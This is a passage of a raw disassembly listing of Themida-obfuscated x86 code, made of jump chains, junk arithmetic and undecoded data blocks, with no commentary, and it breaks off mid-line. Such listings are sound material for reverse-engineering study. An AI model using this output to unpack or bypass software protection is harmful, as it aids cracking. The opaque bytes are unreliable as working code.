mov [esp], eax push edi mov edi, 4 mov eax, edi pop edi sub edx, eax jmp loc_550B70 ; --------------------------------------------------------------------------- loc_5618A5: ; CODE XREF: Themida_:005629B2j xor eax, 2DA807D3h mov edx, eax pop eax jmp loc_55E317 ; --------------------------------------------------------------------------- loc_5618B2: ; CODE XREF: Themida_:0055481Bj xor cl, 0F2h jmp loc_54FC8C ; --------------------------------------------------------------------------- dw 2C81h dd 5D143A24h, 5258E976h, 0F708FFFFh, 0B5515A66h, 0E9C5FE6Ch dd 0FFFF40FFh, 0C2815A54h, 4, 68DEBD55h, 0E5814FC1h, 79707596h dd 0F581D5F7h, 0B6BF9F6Dh, 0FF4D4DE9h, 243487FFh, 2424895Ch dd 4240483h, 0E924348Bh, 0FFFFB9E9h, 8704C183h, 55C240Ch dd 4, 5C240487h, 0C18E9h, 24248900h, 8904EC83h, 0D5BD242Ch dd 0E90E6F2Dh, 0FFFFDF15h ; --------------------------------------------------------------------------- loc_561930: ; CODE XREF: Themida_:00552E7Bj push ecx jmp loc_5531CA ; --------------------------------------------------------------------------- dw 3C89h dd 1D0AE924h, 6F68FFFFh, 89000035h, 0BFE92404h, 0C1FFFFDEh dd 0F78102E7h, 2DA4E4Eh, 7BDAC781h, 0FE01A102h, 2434875Fh dd 0FF448FE9h, 88E958FFh db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56196B: ; CODE XREF: Themida_:0054FDBDj add ebp, esi pop esi jmp loc_5547C6 ; --------------------------------------------------------------------------- db 56h dd 0A95C6BBEh, 0EAC68148h, 31DA6712h, 0FF3AE9F7h, 0E1C1FFFEh dd 0D0E95506h, 53FFFFBFh, 0C381E389h, 4, 4C381h, 1C870000h dd 5FE95C24h, 0B7FFFF5Fh, 0E9FA8894h, 0FFFEE933h, 0B805E0D1h dd 0E9664D4Fh, 0FFFF2EDEh ; --------------------------------------------------------------------------- loc_5619BC: ; CODE XREF: Themida_:0055EBC3j mov ebp, 7CD76A8Ah add edi, ebp mov ebp, [esp] add esp, 4 sub edi, 0FFFFFFFFh shl edi, 7 sub esp, 4 mov [esp], edx jmp loc_55E094 ; --------------------------------------------------------------------------- loc_5619E0: ; CODE XREF: Themida_:0055275Cj and eax, ecx push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 jmp loc_559F1B ; --------------------------------------------------------------------------- loc_5619F1: ; CODE XREF: Themida_:005590F7j mov ebp, edi pop edi mov edi, ebp jmp loc_55DCEB ; --------------------------------------------------------------------------- db 53h dd 0FF6934E9h, 0E0C681FFh, 2952E251h, 1C685EF0h, 8900006Dh dd 1BB241Ch, 21000000h, 241C8BD8h, 0FFA8E8E9h, 4C481FFh dd 1000000h, 2FB005D8h, 34FF2ECFh, 241C8B24h, 8A05E951h dd 8568FFFFh, 89000055h, 0B450240Ch, 0FFE188CBh, 57582434h dd 0A0E9E789h, 53FFFF34h, 236F61BBh, 0C8F38160h, 0E97DB46Ah dd 0FFFFF30Fh, 58C1295Eh, 482E981h, 0D12936C5h, 1B25E9h dd 5DE90100h, 1C0FBE56h, 0DEF741E6h, 8104E6C1h, 0D7070CEEh dd 5EF729CFh, 5D99C781h, 0CF011A67h, 5D99EF81h, 0BB531A67h dd 3A100765h, 0CF61EB81h, 0DF012848h, 75E9595Bh db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561AAF: ; CODE XREF: Themida_:0055CC20j xor [ebx], edx jmp loc_556F70 ; --------------------------------------------------------------------------- loc_561AB6: ; CODE XREF: Themida_:0055A922j push edi mov edi, 0EEB57BBh xchg ebp, edi xchg eax, ebp not eax xchg eax, ebp jmp loc_55A3A5 ; --------------------------------------------------------------------------- db 8Bh dd 0C481241Ch, 4, 7DBE5653h, 0E973452Dh, 0FFFFADD6h ; --------------------------------------------------------------------------- loc_561ADC: ; CODE XREF: Themida_:0055EBF7j mov ebx, [esp] add esp, 4 push esi mov esi, 20806F2Bh jmp loc_54FD62 ; --------------------------------------------------------------------------- db 1, 0F0h, 5Eh dd 2CC7E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561AF6: ; CODE XREF: Themida_:005568AEj mov edx, esp jmp loc_560656 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 8B000000h, 0C483240Ch, 3AB9BA04h, 0C229C533h, 24540158h dd 0E7FEE908h, 0F381FFFEh, 0A906EF1h, 7FE9D821h, 68FFFF03h dd 71DFh, 0B9240C89h, 6EB26F8Fh, 0C8BC829h, 4C48324h, 0FF21E9E9h db 0FFh ; --------------------------------------------------------------------------- loc_561B41: ; CODE XREF: Themida_:0055CE27j mov esp, [esp] pop eax sub esp, 4 mov [esp], edi push ebp push 1BFF0475h pop ebp jmp loc_55FE56 ; --------------------------------------------------------------------------- db 1 dd 242C8BE9h, 0FF5742E9h, 9FC781FFh, 0E912D9E9h, 0FFFF3954h dd 0D025D0F7h, 0E9539754h, 0FFFF99BFh, 4C481h, 34FF0000h dd 24348B24h, 8304C483h, 348904ECh, 0E9E68924h, 0FFFFA4D9h ; --------------------------------------------------------------------------- loc_561B94: ; CODE XREF: Themida_:00554D02j pop edx push ebp pop edi jmp loc_5525CF ; --------------------------------------------------------------------------- dd 2353D1BEh, 0C1DEF720h, 0E6C107E6h, 0B0F68103h, 0E93F3CB1h dd 0FFFFE194h, 6F2193BEh, 0E9D6F741h, 0FFFF4463h, 0E9D831ADh dd 0FFFF4B8Bh, 68242C89h, 6D485B18h, 1BD3B95Dh, 0E901BBC7h dd 0EFF1815Dh, 1290F76h, 40E959CBh, 1FFFFB8h, 0F5E958C5h dd 8100002Dh, 4C4h, 8BCE8900h, 8957240Ch, 1360E9E7h, 0FB90000h dd 9002E10h, 0D7F759CFh, 74E9514Fh, 56FFFF4Ah, 8953E689h dd 4C381E3h, 0E9000000h, 2CF3h ; --------------------------------------------------------------------------- loc_561C24: ; CODE XREF: Themida_:00559054j pop ebx sub esp, 4 jmp loc_55C041 ; --------------------------------------------------------------------------- loc_561C30: ; CODE XREF: Themida_:005510E1j pop dword ptr [esp] pop esp jmp loc_555A05 ; --------------------------------------------------------------------------- db 1, 0D9h, 5Bh dd 4EC8357h, 0E9241C89h, 0FFFF74FAh ; --------------------------------------------------------------------------- loc_561C48: ; CODE XREF: Themida_:00552F6Bj not dword ptr [esp] mov edi, [esp] jmp loc_560483 ; --------------------------------------------------------------------------- db 0C0h dd 0CF8005EFh, 0C199E963h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561C5E: ; CODE XREF: Themida_:0056327Ej push 5F81h mov [esp], esi push edi mov edi, 4412416Eh not edi sub edi, 770374B4h inc edi sub edi, 2E1E7C67h jmp loc_56306B ; --------------------------------------------------------------------------- loc_561C80: ; CODE XREF: Themida_:005624D0j push ecx push edx mov dh, 16h mov ch, 0C0h add ch, dh pop edx add ch, 9Eh push edx mov dh, 7Bh neg dh or dh, 4Eh jmp loc_55425B ; --------------------------------------------------------------------------- db 0F6h, 0D9h, 80h dd 0C18037C1h, 0E9CFB2B3h, 0FFFFA5C3h, 5224348Bh, 0FF7A41E9h dd 2EBC1FFh, 0B103F381h, 0DD8912D4h, 28ED815Bh, 45439F0Fh dd 3FE9D5F7h, 5FFFF34h, 234D15D4h, 58C3015Ah, 0FF654CE9h dd 4C481FFh, 33000000h, 0C0E9240Ch, 89FFFEE7h, 242C8BE8h dd 4C481h, 1C8B0000h, 4C48324h, 1E7BC581h, 0C581016Bh dd 2C672133h, 3A19C581h, 0C501216Ch, 2BC6B850h, 6B2D785Ch dd 2D56523Eh, 17766116h, 0D8ADD405h, 4AE8E916h, 405FFFFh dd 83000000h, 48704C0h, 0EB805C24h, 912BE976h, 1487FFFFh dd 3C895C24h, 65C1E924h, 8B66FFFFh, 83562404h, 8F5404ECh dd 4832404h, 34FF0424h, 0B5C5E924h, 52ACFFFFh, 0FFE3AEE9h dd 0D4E958FFh, 0D1FFFEEDh, 4EC81EBh, 89000000h, 0BFBD242Ch dd 315FAFDFh, 0DD895DEBh, 0FF39B3E9h, 4C481FFh, 0E9000000h dd 95Ch, 5A4968h, 24148900h, 102949BAh, 5A4AE972h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561DA2: ; CODE XREF: Themida_:0055F8E3j xor ebx, ecx mov ecx, [esp] jmp loc_55CD28 ; --------------------------------------------------------------------------- dd 83242489h, 5F042404h, 57D9E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561DBA: ; CODE XREF: Themida_:0055C04Aj xor edx, 6EB07B42h push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi push edx jmp loc_55DB1D ; --------------------------------------------------------------------------- loc_561DD9: ; CODE XREF: Themida_:00556971j neg ah shr ah, 5 add ah, 0D0h add bl, ah push dword ptr [esp] pop eax add esp, 4 add bl, 91h add bl, 7Bh jmp loc_55DD39 ; --------------------------------------------------------------------------- dd 31240C33h, 0C33240Ch, 7DE95C24h, 53000026h, 4BBh, 45E98100h dd 10CF269h, 45C181D9h, 5B0CF269h, 55595451h, 0E904EC83h dd 0FFFEE2FEh, 9063D7BAh, 0FCC2811Fh, 817CE811h, 745127C2h dd 0E9EA8128h, 812D994Ch, 537A0DEAh, 0E9D10197h, 0FFFFD20Bh dd 5C243487h, 240C8966h, 0EBB7E956h, 8B66FFFFh, 38E9240Ch dd 0ACFFFF73h, 5266D830h, 695868h, 2132E900h, 66530000h dd 66122568h, 0FB87665Bh, 1EF8366h, 0FFEA39E9h, 5DEF01FFh dd 0EF81F701h, 686B0FFAh, 6EA6EF81h, 9EE9735Dh db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561E9B: ; CODE XREF: Themida_:0055BFBEj pop esp mov [esp], ebx mov ebx, 0FFFFh and eax, ebx jmp loc_55D529 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24048900h, 0E8C0A7B0h, 24700405h, 4DF2C6Bh, 58C788EFh dd 80BECF80h, 0E98035F7h, 80F9007Bh, 305B7BC1h, 2434FFC8h dd 83240C8Bh, 18E904C4h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_561EE3: ; CODE XREF: Themida_:0055208Ej not edx add edx, 0CDDAA2B9h sub ebp, edx jmp loc_5550B2 ; --------------------------------------------------------------------------- loc_561EF2: ; CODE XREF: Themida_:00563B79j mov ebp, 663AF5F9h xor ebx, ebp push dword ptr [esp] pop ebp push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_563834 ; --------------------------------------------------------------------------- loc_561F15: ; CODE XREF: Themida_:0055033Cj xchg ebp, [esp] pop esp push edx jmp loc_553B4F ; --------------------------------------------------------------------------- db 81h dd 4C4h, 7FC6E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561F2A: ; CODE XREF: Themida_:00554E5Dj shl edi, 7 shr edi, 7 xor edi, 2C7D0808h mov esi, edi pop edi jmp loc_555374 ; --------------------------------------------------------------------------- loc_561F3E: ; CODE XREF: Themida_:005629FCj sub ebx, 3A7E1A30h sub ebx, 4C9E2FC2h push ecx mov ecx, 19D65FD2h inc ecx add ecx, 3D9BD7E6h sub ebx, ecx push dword ptr [esp] jmp loc_564D41 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFED8A2h, 4EC81h dd 8F540000h, 0EC832404h, 243C8904h, 1332E9h, 0D888E900h dd 0C581FFFEh, 41B11F07h, 0E952F501h, 0FFFF9239h, 0E9A68h dd 10606800h, 8F540000h, 0EC832404h, 24348904h, 446168h dd 243C8900h, 2A40BA52h, 18E9046Ah db 86h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561FC3: ; CODE XREF: Themida_:00554F23j sub eax, 367F0F51h not eax shr eax, 2 add eax, 2A94738Ah mov ebp, eax pop eax sub ebx, ebp pop ebp jmp loc_554E2A ; --------------------------------------------------------------------------- loc_561FDD: ; CODE XREF: Themida_:00560722j add ebx, 0C5DC49EDh sub eax, ebx jmp loc_55482B ; --------------------------------------------------------------------------- dw 15Eh dd 243C8BFBh, 4C481h, 0BE560000h, 4, 348BF301h, 4C48124h dd 33000000h, 1C31241Ch, 241C3324h, 0FF24248Bh, 57582434h dd 2917E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56201E: ; CODE XREF: Themida_:00559420j pop ebp and ecx, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push edi mov edi, esp jmp loc_5600F4 ; --------------------------------------------------------------------------- loc_562032: ; CODE XREF: Themida_:00561720j inc dword ptr [esp] pop edi sub edi, 0FC05107h add esi, edi pop edi mov eax, esi pop esi push ecx push 1ED5E42h pop ecx or ecx, 342F37FEh push edi mov edi, 0D85B6FE5h sub ecx, edi pop edi sub eax, 603C7365h sub eax, ecx add eax, 603C7365h jmp loc_55CC10 ; --------------------------------------------------------------------------- db 0F7h, 0D7h, 0E9h dd 0FFFF2970h, 5C243C33h, 0B2E9F031h db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56207B: ; CODE XREF: Themida_:00559A0Cj mov [esp], edi push edx mov edx, 6D69512Ch mov edi, edx pop edx or eax, edi pop edi push edx mov edx, 703C299Ch jmp loc_55EE69 ; --------------------------------------------------------------------------- db 81h, 0E9h, 3Ch dd 29050427h, 5FBA52F1h, 811D117Ah, 0FD51D4CAh, 8ECA8105h dd 0E948BF66h, 0FFFF80DEh, 348B5B56h, 4C48324h, 0FFFFC381h dd 0C381FFFFh, 1, 504DEB81h, 0C3810E90h, 0ED924C6h, 0FF77DDE9h dd 525954FFh, 4BAh, 5AD10100h, 1A14E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5620EA: ; CODE XREF: Themida_:005624DAj mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_55954E ; --------------------------------------------------------------------------- db 80h, 0F4h, 0FDh dd 0F692CC80h, 80CCFEDCh, 0C48073F4h, 4E3AE95Bh, 0E95BFFFFh dd 0FFFFD51Ch, 895BD801h, 0C80158C1h, 0E9240C8Bh, 0FFFFFC5Dh dd 240C8B66h, 0FF7334E9h db 0FFh ; --------------------------------------------------------------------------- loc_562131: ; CODE XREF: Themida_:0055553Aj pop esp mov [esp], esi mov esi, 6EA26ACBh and esi, 6F046166h shl esi, 2 jmp loc_55F678 ; --------------------------------------------------------------------------- dd 2B756850h, 40583B75h, 2B713548h, 81503B75h, 8A02404h dd 0CEE95D20h, 57FFFF32h, 4F159468h, 0CC3EE942h, 0E955FFFFh dd 1B44h, 8108E5C1h, 3A5A84CDh, 6831h, 33E90000h, 0FFFFFFF7h dd 34FF2434h, 0F328E924h, 2C89FFFEh, 6F57BD24h, 7EE92310h db 30h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56219F: ; CODE XREF: Themida_:0056323Ej push dword ptr [esp] jmp loc_552369 ; --------------------------------------------------------------------------- db 0F7h dd 9FC381DBh, 1BE428Ch, 0E8E95BDFh, 51FFFF2Eh, 3D5FFEB9h dd 4B5CE957h, 0E5C1FFFFh, 6EE58106h, 0E90DF562h, 0FFFF238Eh dd 0C0685251h, 5A2E3452h, 0FF839FE9h, 59CA29FFh, 1DE2EA81h dd 0C2014E6Ah, 1DE2C281h, 0F4684E6Ah, 8900001Fh, 11E92434h dd 87FFFF47h, 815C241Ch, 0C07393E9h, 81C10142h, 0C07393C1h dd 0C875842h, 0B5ACE924h, 0C183FFFFh, 240C8704h, 49B3055Ch dd 3C2D1961h, 2D2A0E72h, 71691D65h, 6505C829h, 5571691Dh dd 5984BE56h, 0F681632Fh, 2D9E30C4h, 565EF589h, 5858DEBEh dd 5EF50173h, 0B022F581h, 0F205E807h, 117901Bh, 1BF22DE8h dd 37E91790h, 8BFFFEDDh, 34332424h, 24343124h, 8B243433h dd 0F1F62424h, 0CCB60F66h, 0FEDCDEE9h db 0FFh ; --------------------------------------------------------------------------- loc_56227D: ; CODE XREF: Themida_:00551787j pop ebp mov esi, eax pop eax push ebp mov ebp, esi mov edx, ebp push dword ptr [esp] jmp loc_551B9D ; --------------------------------------------------------------------------- loc_56228E: ; CODE XREF: Themida_:005569BDj add edx, 3DCE2F8Ah not edx jmp loc_5637B5 ; --------------------------------------------------------------------------- db 89h dd 11E953E5h, 53000020h, 0C64E9h db 0 ; --------------------------------------------------------------------------- loc_5622A9: ; CODE XREF: Themida_:0055156Cj push small 0 push edx mov dh, 0B3h sub [esp+4], dh mov edx, [esp] add esp, 4 push ax mov al, 3 jmp loc_556E67 ; --------------------------------------------------------------------------- dw 0F66h dd 9C2404BBh, 0FED545E9h, 6EFC1FFh, 0E904EC83h, 2C73h dd 0A0C9E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5622E2: ; CODE XREF: Themida_:005595E3j dec ecx shr ecx, 6 xor ecx, 1FF5EF9h jmp loc_5591BD ; --------------------------------------------------------------------------- db 5Fh, 81h, 0C7h dd 4, 5704EF83h, 0FFF55AE9h db 0FFh ; --------------------------------------------------------------------------- loc_562301: ; CODE XREF: Themida_:0055E8D5j push 261D37A1h jmp loc_55ED48 ; --------------------------------------------------------------------------- loc_56230B: ; CODE XREF: Themida_:00554A13j pop esi sub esp, 4 mov [esp], ecx push ebp jmp loc_55F2EC ; --------------------------------------------------------------------------- dd 405h, 4EC8100h, 0E9000000h, 0FFFFD817h ; --------------------------------------------------------------------------- loc_562328: ; CODE XREF: Themida_:00555543j mov eax, 0 sub eax, edi jmp loc_5560DB ; --------------------------------------------------------------------------- dd 611B8DB8h, 0FF322D3Ch, 0C38932C5h, 0FFAC4EE9h db 0FFh ; --------------------------------------------------------------------------- loc_562345: ; CODE XREF: Themida_:005533A0j add edx, 4 jmp loc_564740 ; --------------------------------------------------------------------------- loc_562350: ; CODE XREF: Themida_:00560C95j pop edi xchg esi, [esp] pop esp mov [esp], ebp mov ebp, esp push eax push esi push ecx mov ecx, 74C01C87h mov esi, ecx pop ecx xor esi, 328C1C73h mov eax, esi mov esi, [esp] add esp, 4 push ecx mov ecx, 5F106C11h jmp loc_55325C ; --------------------------------------------------------------------------- dw 0FCB8h dd 0C14A632Eh, 0E8C107E8h, 0E9E0D108h, 0FFFFA0B7h, 5C241487h dd 5C6E6866h, 240C8966h, 8016B252h, 0C2805FC2h, 92C28001h dd 8E70E953h, 0FD88FFFFh, 1876C88h, 592434FFh, 81E28952h dd 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0FFFFDE65h, 0F1BB5345h dd 4B34A029h, 4DC9C381h, 0DD211F4Eh, 31F5315Bh, 3BD1E9EEh dd 0D30DFFFFh, 575E8E48h, 0BE7CD3BFh, 1A6E9DFh, 3C870000h dd 5D80E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562402: ; CODE XREF: Themida_:00556F47j mov ecx, 0 add ecx, 2242447Ah add ecx, eax sub ecx, 2242447Ah add [ecx], esi pop ecx mov eax, [esp] add esp, 4 jmp loc_556199 ; --------------------------------------------------------------------------- db 89h dd 0E5B951E3h, 0F7507E7Fh, 45C181D1h, 0C129E93Bh, 0E9C102E9h dd 72C18103h, 8106E301h, 0AE5748E9h, 8BCB010Dh, 0C483240Ch dd 0C4E95604h, 89FFFF4Bh, 0D0E92414h, 56FFFFDDh, 0C681E689h dd 4, 8704C683h, 285C2434h, 0B65266D8h, 66F028B7h, 8324148Bh db 0C4h, 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], edx jmp loc_5627B7 ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 58h db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562497: ; CODE XREF: Themida_:00560EF7j neg edi push esi mov esi, 2A1312AFh or esi, 1DE00122h or esi, 5EA96C8Dh sub esi, 4CAA6065h xor edi, esi mov esi, [esp] add esp, 4 mov edx, edi jmp loc_558481 ; --------------------------------------------------------------------------- loc_5624C0: ; CODE XREF: Themida_:0055648Cj mov ecx, [esp] add esp, 4 push eax mov al, dh mov bh, al pop eax pop edx jmp loc_561C80 ; --------------------------------------------------------------------------- loc_5624D5: ; CODE XREF: Themida_:00552347j push 416Bh jmp loc_5620EA ; --------------------------------------------------------------------------- loc_5624DF: ; CODE XREF: Themida_:00551D37j add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] xor ecx, 65510129h jmp loc_552E79 ; --------------------------------------------------------------------------- dd 5104C483h, 5B3EBA52h, 0E28152AAh, 3E24655Ah, 13F1F281h dd 0D189497Fh, 0E181495Ah, 32977370h, 654C68h, 24048900h dd 0CC6E9h, 240C8700h, 5424248Bh, 1A4AE9h, 24143300h, 33241431h dd 248B2414h, 240CD224h, 0D2CCE99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56254A: ; CODE XREF: Themida_:00555A51j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx jmp loc_560DF9 ; --------------------------------------------------------------------------- loc_562562: ; CODE XREF: Themida_:00552B5Aj shr edx, 5 neg edx add edx, 113D27CEh add edi, edx pop edx jmp loc_556E9A ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 3AAABE56h, 0E6814EBEh, 185B2B51h, 0D8CE8146h, 0E9423B24h dd 0FFFFBDC6h ; --------------------------------------------------------------------------- loc_562590: ; CODE XREF: Themida_:0055AD57j push edx mov edx, 687C2173h mov ebp, 1BDF3981h jmp loc_56285C ; --------------------------------------------------------------------------- dd 295FF829h, 9E958C3h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5625AB: ; CODE XREF: Themida_:00562865j add [edi+20h], ebp pop ebp jmp loc_5562E2 ; --------------------------------------------------------------------------- dd 0C037B652h, 0EE8602E6h, 0EE86D5F6h, 0E984C680h, 0FFFEED56h dd 24048B66h, 7E95553h db 0FFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5625D3: ; CODE XREF: Themida_:0055A1C6j mov edi, 19AD63CDh sub dword ptr [esp+8], 785F4901h add [esp+8], edi add dword ptr [esp+8], 785F4901h pop edi add [esp+4], ecx jmp loc_550D11 ; --------------------------------------------------------------------------- aHP db '\h~P',0 align 4 dd 0E9242489h, 0FFFEFAB5h, 67B9C681h, 814E09C6h, 0AF06B0F6h dd 0A1E6817Ah, 812D3B1Eh, 5C6B90C6h, 0F603E9F4h, 348BFFFEh dd 1D56E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56262A: ; CODE XREF: Themida_:00550F2Cj mov esp, [esp] jmp loc_5575BC ; --------------------------------------------------------------------------- dw 81BDh dd 0F754AF48h, 0DCE581DDh, 0C1648E50h, 37E908EDh, 29FFFF8Eh dd 348B58C3h, 4C48324h, 0B850C301h, 71D016B6h, 35A568h dd 943E900h, 31ADFFFFh, 3AD368D8h, 1C890000h, 0B5E95224h dd 89FFFF05h, 5BB9240Ch, 0E97B3E07h, 0FFFFDF7Ch, 89241489h dd 4C281E2h, 0E9000000h, 0FFFF3055h, 68D0015Bh, 1651h dd 0BA241489h, 54456835h, 0C105E2C1h, 0CA8108EAh, 33DE49BDh dd 0FFEA834Ah, 915EF281h, 0BA5267FEh, 0ACB2853h, 0F1E9D001h dd 0BBFFFF17h, 2CA81246h, 6489F381h, 0F38101CDh, 6C962EA1h dd 8102EBC1h, 0B16020EBh, 0E9D931A3h, 0FFFF3105h, 0E932FF64h dd 0FFFED12Ah, 5C240487h, 24042166h, 0D11CE99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5626FA: ; CODE XREF: Themida_:0056304Cj pop esi add ebx, 18D77ABEh push ecx mov ecx, 0 add ecx, ebx xor [ecx], eax jmp loc_5636E8 ; --------------------------------------------------------------------------- dd 0EF81D7F7h, 512302A1h, 0D80FF781h, 0B95175AAh, 0E3606E2h dd 0E959C829h, 0FFFEFF13h ; --------------------------------------------------------------------------- loc_56272C: ; CODE XREF: Themida_:0055070Cj mov ebp, eax jmp loc_55C333 ; --------------------------------------------------------------------------- loc_562733: ; CODE XREF: Themida_:0055298Aj add esi, 4 push ebp mov ebp, 4 sub esi, ebp pop ebp push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], edx jmp loc_55D58E ; --------------------------------------------------------------------------- dw 0C781h dd 6A632FFAh, 6ECBC781h, 0ECE97775h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562767: ; CODE XREF: Themida_:00559A9Cj push dword ptr [esp+4] pop esi jmp loc_558030 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0DBE9E389h, 89FFFF6Fh, 2BA2414h, 50000000h, 1D0244B8h dd 24C3257Bh, 0E8D134DEh, 0A209E82Dh, 92B2E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56279A: ; CODE XREF: Themida_:00564852j mov dh, 8Ah shr dh, 5 push ebx mov bh, 0E8h not bh sub bh, 0FFh and bh, 5Ch sub bh, 4Ch sub dh, bh mov ebx, [esp] jmp loc_5576FC ; --------------------------------------------------------------------------- loc_5627B7: ; CODE XREF: Themida_:0056248Cj push 6150h mov [esp], edi jmp loc_561040 ; --------------------------------------------------------------------------- dd 468h, 60E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5627CE: ; CODE XREF: Themida_:0055D2AEj push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 jmp loc_55FFD9 ; --------------------------------------------------------------------------- dw 0F301h dd 0DBBA525Eh, 0E9605467h, 0FFFF8D1Dh ; --------------------------------------------------------------------------- loc_5627F0: ; CODE XREF: Themida_:0055E657j add ebx, 4 xchg ebx, [esp] pop esp pop dword ptr [esp] pop esp mov [esp], ebx mov ebx, esp push edi mov edi, 6A5D7AA4h sub edi, 408C762Ch not edi jmp loc_55FFD2 ; --------------------------------------------------------------------------- dw 3489h dd 81E68924h, 4ECh, 24048900h, 0D95826B8h, 0F182E94Ch dd 0E95FFFFFh, 0FFFFBD8Bh ; --------------------------------------------------------------------------- loc_562834: ; CODE XREF: Themida_:0055C741j push edx jmp loc_564833 ; --------------------------------------------------------------------------- dw 0C629h dd 2434FF58h, 0E23DE959h, 0F9F7FFFFh, 489868h, 13D7E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562852: ; CODE XREF: Themida_:00560736j add eax, 4 jmp loc_55B124 ; --------------------------------------------------------------------------- loc_56285C: ; CODE XREF: Themida_:0056259Bj xor ebp, edx pop edx xor ebp, 16706860h jmp loc_5625AB ; --------------------------------------------------------------------------- loc_56286A: ; CODE XREF: Themida_:00564404j sub [edi+24h], ecx jmp loc_55BA2E ; --------------------------------------------------------------------------- loc_562872: ; CODE XREF: Themida_:0055A137j xor ecx, 51787378h push ebx push 0F34ECB6Ch mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_55D455 ; --------------------------------------------------------------------------- loc_562895: ; CODE XREF: Themida_:0055F686j or ebp, esi pop esi shr ebp, 3 push ebx mov ebx, 0C0ACFCBh sub ebp, ebx pop ebx and eax, ebp pop ebp or edx, eax shl edx, 1 jmp loc_5610BE ; --------------------------------------------------------------------------- loc_5628B0: ; CODE XREF: Themida_:00556A07j push ecx mov ecx, esp push edx push edx jmp loc_5569D0 ; --------------------------------------------------------------------------- dw 0B951h dd 0ABC467Fh, 0FF4DD3E9h, 815F54FFh, 4C7h, 5554E900h, 1C8BFFFFh dd 4C48324h, 611D68h, 240C8900h, 0FEF869E9h, 0B85056FFh dd 3B1B6B0Fh, 5504E8C1h, 113C2FBDh, 5DE82930h, 18441F0Dh dd 4EC8319h, 0E9242C89h, 0FFFFDB51h, 8124148Bh, 4C4h, 48E28000h dd 0E98FF280h, 0FFFF60B6h ; --------------------------------------------------------------------------- loc_56291C: ; CODE XREF: Themida_:00564DEDj push dword ptr [esp] jmp loc_554477 ; --------------------------------------------------------------------------- dd 3555E951h, 0EF81FFFFh, 3EE14B7Eh, 5556EF01h, 0E14B7E68h dd 0EE895D3Eh, 8BF7015Dh, 0DB682434h, 8900000Dh, 0E6892434h dd 4C681h, 0C6830000h, 24343304h, 33243431h, 3AE92434h dd 8900000Fh, 2CBF243Ch, 0E9773E41h, 0FFFF4860h ; --------------------------------------------------------------------------- loc_562970: ; CODE XREF: Themida_:00552EDFj or eax, edx pop edx add eax, 0FA8E5339h xor ebp, eax pop eax jmp loc_554B4A ; --------------------------------------------------------------------------- loc_562980: ; CODE XREF: Themida_:00553C53j pop edi jmp loc_564608 ; --------------------------------------------------------------------------- dw 0E589h dd 12C6B951h, 0C7E923FCh, 81FFFF96h, 4C4h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edx push eax push 52352DF5h pop eax xor eax, 7F9D2A23h xchg eax, edi inc edi xchg eax, edi jmp loc_5618A5 ; --------------------------------------------------------------------------- db 0B1h dd 66CB0060h, 9D25E959h, 0C889FFFFh, 0B103559h, 0C301454Bh dd 216E9h, 0C8B6600h, 4EC8324h, 54240489h db 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push esi mov esi, 0BBB7591h mov ebx, esi pop esi shl ebx, 3 jmp loc_561F3E ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd offset dword_4CB0C8+3A0h dd 105CE900h, 0CE80FFFFh, 5E6C050h, 0E916F680h, 0FFFF6362h ; --------------------------------------------------------------------------- loc_562A1C: ; CODE XREF: Themida_:00554875j or esi, edx pop edx jmp loc_563C07 ; --------------------------------------------------------------------------- dd 5FE6F581h, 0DDF722C9h, 2B6E9h, 57FD8700h, 5F2414F7h dd 0D5F7FD87h, 0FEECFBE9h, 50E952FFh, 